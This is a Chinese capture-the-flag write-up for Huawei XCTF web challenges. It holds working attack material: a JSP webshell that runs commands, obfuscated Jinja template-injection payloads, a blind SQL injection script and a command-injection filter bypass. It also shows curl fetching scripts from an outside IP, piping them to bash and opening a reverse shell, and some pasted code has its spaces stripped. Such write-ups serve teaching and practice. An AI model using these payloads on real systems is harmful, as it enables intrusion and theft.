华为XCTF第一场WEB
web
签到
回复ctf
WEBSHELL_1
上传一个jsp的马,要用bp编码上传,后缀名随意
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
http://121.37.165.126:31826/upload/89c8963c-9307-4497-8e8d-008817d44a6b.jsp?pwd=023&i=cat /flag
#flag{rJABdiCp788zuPdQvO3FcHO0B5YwfoeA}
MIME1_1
UNCTF原题,payload直接打
{{dd|attr(request.values.a)|attr(request.values.b)|attr(request.values.e)(request.values.c)|attr(request.values.e)(request.values.f)(request.values.g)}}&a=__init__&b=__globals__&c=__builtins__&d=pop&e=__getitem__&f=eval&g=__import__('os').popen('cat flag.txt').read()
PYER
登录框,啥也干不了,注一下。
最常见的是数据库中查询where user=username and pass=password
,
还有一种是返回password
然后在程序中比较,这里是第二种
构造payload
username-1' union select '1
password 1
这样可以登录成功看到留言板页面,提示还是需要admin,而且session不好伪造
考虑继续利用前面漏洞
登陆成功和失败会显示不同页面,考虑布尔盲注
测试一波发现没有if,user,mid,ascii等等,逐个绕过写读密码
# -*- coding: utf-8 -*-
import requests
url = 'http://124.70.199.122:30283/login'
s = ''
for i in range(0, 2000):
min = 8
max = 126
while abs(max - min) > 1:
mid = (max + min) // 2
parms = {
'username': "admin' union select CASE 1 WHEN substr(password,{},1)>'{}' THEN '2' ELSE '3' END from users--".format(
str(i), chr(mid)),
'password': "2",
'submit': "登陆",
}
r = requests.request('post',url=url, data=parms,proxies=proxies,allow_redirects=False)
if 'Redirecting' in r.text:
# print(chr(i),"true")
min = mid
else:
max = mid
s += chr(max)
print(s)
密码 sqlite_not_safe
知道了是sqlite,查了数据库搞了半天没发现啥
后来发现是ssti,直接用其他题的payload一把梭
admin' union select '{% print(a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\56\57\146\154\141\147\56\164\170\164\47\51\56\162\145\141\144\50\51")) %}'; --
MIME2
安洵杯原题,payload改一下直接打
{%print(a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\146\154\141\147\56\164\170\164\47\51\56\162\145\141\144\50\51"))%}
HIDS
命令执行,符号ban的只剩下()">;$\
正好可以套入这个payload
$(printf$IFS$9"\154\163")
这里也不能直接用反弹shell或者用管道或者重定向
执行readflag会被kill掉
上传sh脚本反弹shell
curl -o /tmp/b.sh 47.97.123.81:8000/2.txt
sh /tmp/b.sh
#!/bin/bash
echo "Hello World !"
curl 47.97.123.81/1.txt|bash
考虑用curl命令下载payload保存在tmp目录,然后运行,运行后发现detect.py
importos,signal
out=os.popen("ps-ef").read()
forlineinlist(out.splitlines())[1:]:
try:
pid =int(line.split()[1])
ppid =int(line.split()[2])
cmd="".join(line.split()[7:])
ifppidin[0,1]andcmdin["/usr/local/bin/python3.8 /home/ctf/web/app.py","/usr/sbin/cron","/usr/bin/tail -f /var/log/cron","/usr/local/bin/python3.8 /detect.py","/bin/sh -c /usr/sbin/cron&&/usr/bin/tail-f/var/log/cron"]:
continue
os.kill(pid,signal.SIGKILL)
except Exception as e:
pass
胡乱分析一波发现其实这个文件是可写的,直接写为空,反弹shell运行readflag